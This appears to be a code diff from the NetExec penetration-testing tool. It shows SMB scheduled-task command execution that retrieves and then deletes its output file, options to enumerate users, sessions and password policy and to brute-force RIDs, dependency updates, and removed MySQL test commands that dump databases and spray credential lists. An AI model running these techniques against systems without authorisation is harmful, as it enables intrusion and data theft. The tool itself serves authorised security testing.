self.output_callback(output.read())
break
except OSError:
sleep(2)
else:
":".join(map(str, self.__rpctransport.get_socket().getpeername()))
smbConnection = self.__rpctransport.get_smb_connection()
tries = 1
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
sleep(0.4)
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
break
except Exception as e:
if tries >= self.__tries:
self.logger.fail("ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
if "STATUS_BAD_NETWORK_NAME" in str(e):
self.logger.fail(f"ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing powershell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} tries left, retrying...")
tries += 1
sleep(1)
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
tries += 1
sleep(1)
tries = 1
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
sleep(0.4)
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
break
except Exception as e:
if tries >= self.__tries:
self.logger.fail("ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
if "STATUS_BAD_NETWORK_NAME" in str(e):
self.logger.fail(f"ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing PowerShell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} tries left, retrying...")
tries += 1
sleep(1)
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
tries += 1
sleep(1)
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
smbConnection.deleteFile(self.__share, self.__output_filename)
except Exception:
pass
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
smbConnection.deleteFile(self.__share, self.__output_filename)
except Exception:
pass
dce.disconnect()
+1 -1
View File
@@ -96,4 +96,4 @@ def upgrade_to_dploot_connection(target, connection=None):
conn.connect()
except Exception:
return None
return conn
return conn
+5 -6
View File
@@ -42,22 +42,21 @@ def proto_args(parser, parents):
mapping_enum_group.add_argument("--interfaces", action="store_true", help="Enumerate network interfaces")
mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)")
mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'READ' 'WRITE' or 'READ,WRITE'")
mapping_enum_group.add_argument("--smb-sessions", action="store_true", help="Enumerate active smb sessions")
mapping_enum_group.add_argument("--disks", action="store_true", help="Enumerate disks")
mapping_enum_group.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex")
mapping_enum_group.add_argument("--loggedon-users", nargs="?", const="", help="Enumerate logged on users, if a user is specified than a regex filter is applied.")
mapping_enum_group.add_argument("--users", nargs="*", metavar="USER", help="Enumerate domain users, if a user is specified than only its information is queried.")
mapping_enum_group.add_argument("--users-export", help="Enumerate domain users and export them to the specified file")
mapping_enum_group.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="Enumerate domain groups, if a group is specified than its members are Enumerated")
mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="Enumerate local groups, if a group is specified then its members are Enumerated")
mapping_enum_group.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="Enumerate computer users")
mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="Enumerate local groups, if a group is specified then its members are Enumerated")
mapping_enum_group.add_argument("--pass-pol", action="store_true", help="dump password policy")
mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="Enumerate users by bruteforcing RIDs")
mapping_enum_group.add_argument("--smb-sessions", action="store_true", help="Enumerate active smb sessions")
mapping_enum_group.add_argument("--reg-sessions", type=str, nargs="?", const="", help="Enumerate users sessions using the Remote Registry. If a username is given, filter for it. If a file is given, filter for listed usernames. If no value is given, list all.")
mapping_enum_group.add_argument("--loggedon-users", nargs="?", const="", help="Enumerate logged on users, if a user is specified than a regex filter is applied.")
mapping_enum_group.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex")
mapping_enum_group.add_argument("--qwinsta", type=str, nargs="?", const="", help="Enumerate user sessions. If a username is given, filter for it; if a file is given, filter for listed usernames. If no value is given, list all.")
mapping_enum_group.add_argument("--tasklist", type=str, nargs="?", const=True, help="Enumerate running processes and filter for the specified one if specified")
mapping_enum_group.add_argument("--taskkill", type=str, help="Kills a specific PID or a proces name's PID's")
wmi_group = smb_parser.add_argument_group("WMI", "Options for WMI Queries")
wmi_group.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query")
wmi_group.add_argument("--wmi-namespace", metavar="NAMESPACE", default="root\\cimv2", help="WMI Namespace")
+1 -1
View File
@@ -36,4 +36,4 @@ def get_conditional_action(baseAction):
x.required = True
super().__call__(parser, namespace, values, option_string)
return ConditionalAction
return ConditionalAction
+1 -1
View File
@@ -462,4 +462,4 @@ class wmi(connection):
self.logger.highlight(line.strip())
return output
else:
return output
return output
Generated
+6 -22
View File
@@ -1,4 +1,4 @@
# This file is automatically @generated by Poetry 2.1.3 and should not be changed by hand.
# This file is automatically @generated by Poetry 2.1.1 and should not be changed by hand.
[[package]]
name = "aardwolf"
@@ -687,7 +687,7 @@ description = "Backport of PEP 654 (exception groups)"
optional = false
python-versions = ">=3.7"
groups = ["dev"]
markers = "python_version == \"3.10\""
markers = "python_version < \"3.11\""
files = [
{file = "exceptiongroup-1.2.2-py3-none-any.whl", hash = "sha256:3111b9d131c238bec2f8f516e123e14ba243563fb135d3fe885990585aa7795b"},
{file = "exceptiongroup-1.2.2.tar.gz", hash = "sha256:47c2edf7c6738fafb49fd34290706d1a1a2f4d1c6df275526b62cbb4aa5393cc"},
@@ -865,7 +865,7 @@ all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2
[[package]]
name = "impacket"
version = "0.13.0.dev0+20250813.95021.3e63daef"
version = "0.13.0.dev0+20250527.165759.abfaea2b"
description = "Network protocols Constructors and Dissectors"
optional = false
python-versions = "*"
@@ -890,7 +890,7 @@ six = "*"
type = "git"
url = "https://github.com/Pennyw0rth/impacket.git"
reference = "HEAD"
resolved_reference = "3e63daef1dbb29bcbed0414f801403158f0e07d2"
resolved_reference = "abfaea2b613cab86a94ae7e5edbf5801ef347f30"
[[package]]
name = "iniconfig"
@@ -1742,22 +1742,6 @@ files = [
{file = "pylnk3-0.4.3.tar.gz", hash = "sha256:fbc5f512b581382c2a4c11e6df3796f9975bcfd99e3fca2afe531ea61b3c4ac2"},
]
[[package]]
name = "pymysql"
version = "1.1.1"
description = "Pure Python MySQL Driver"
optional = false
python-versions = ">=3.7"
groups = ["main"]
files = [
{file = "PyMySQL-1.1.1-py3-none-any.whl", hash = "sha256:4de15da4c61dc132f4fb9ab763063e693d521a80fd0e87943b9a453dd4c19d6c"},
{file = "pymysql-1.1.1.tar.gz", hash = "sha256:e127611aaf2b417403c60bf4dc570124aeb4a57f5f37b8e95ae399a42f904cd0"},
]
[package.extras]
ed25519 = ["PyNaCl (>=1.4.0)"]
rsa = ["cryptography"]
[[package]]
name = "pynacl"
version = "1.5.0"
@@ -2317,7 +2301,7 @@ description = "A lil' TOML parser"
optional = false
python-versions = ">=3.8"
groups = ["dev"]
markers = "python_version == \"3.10\""
markers = "python_version < \"3.11\""
files = [
{file = "tomli-2.2.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678e4fa69e4575eb77d103de3df8a895e1591b48e740211bd1067378c69e8249"},
{file = "tomli-2.2.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:023aa114dd824ade0100497eb2318602af309e5a55595f76b626d6d9f3b7b0a6"},
@@ -2479,4 +2463,4 @@ files = [
[metadata]
lock-version = "2.1"
python-versions = ">=3.10,<4.0"
content-hash = "7b50455f855e5affd89ac1746a4e2acfe89ce8bc94670e003dfd11fa67dac75a"
content-hash = "e02f61c9bb3bccd22fc51f90a9e09552afe50cb309155959dbb3ff06fea4d736"
+1 -2
View File
@@ -46,7 +46,6 @@ dependencies = [
"impacket @ git+https://github.com/Pennyw0rth/impacket.git",
"oscrypto @ git+https://github.com/wbond/oscrypto",
"pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient",
"pymysql (>=1.1.1,<2.0.0)",
]
[project.urls]
@@ -100,7 +99,7 @@ preview = true
[tool.ruff.lint]
select = [
"E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT",
"Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "LOG", "RUF", "W"
"Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "LOG", "RUF"
]
ignore = [
"A004", "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106",
-11
View File
@@ -79,7 +79,6 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_e
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_av
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns -o DOMAIN=google.com
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_interfaces
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M firefox
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M firefox -o COOKIES=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections
@@ -283,16 +282,6 @@ netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --get test_file.txt
netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success
netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE
##### MySQL
netexec mysql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD
netexec mysql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --databases
netexec mysql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --tables mysql
netexec mysql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --dump-database mysql
netexec mysql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --server-capabilities
netexec mysql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD -q "SELECT VERSION()"
netexec mysql TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
netexec mysql TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success
netexec mysql TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE
##### NFS
netexec nfs TARGET_HOST -u "" -p "" --shares
netexec nfs TARGET_HOST -u "" -p "" --enum-shares
-1
View File
@@ -1 +0,0 @@
eddard.stark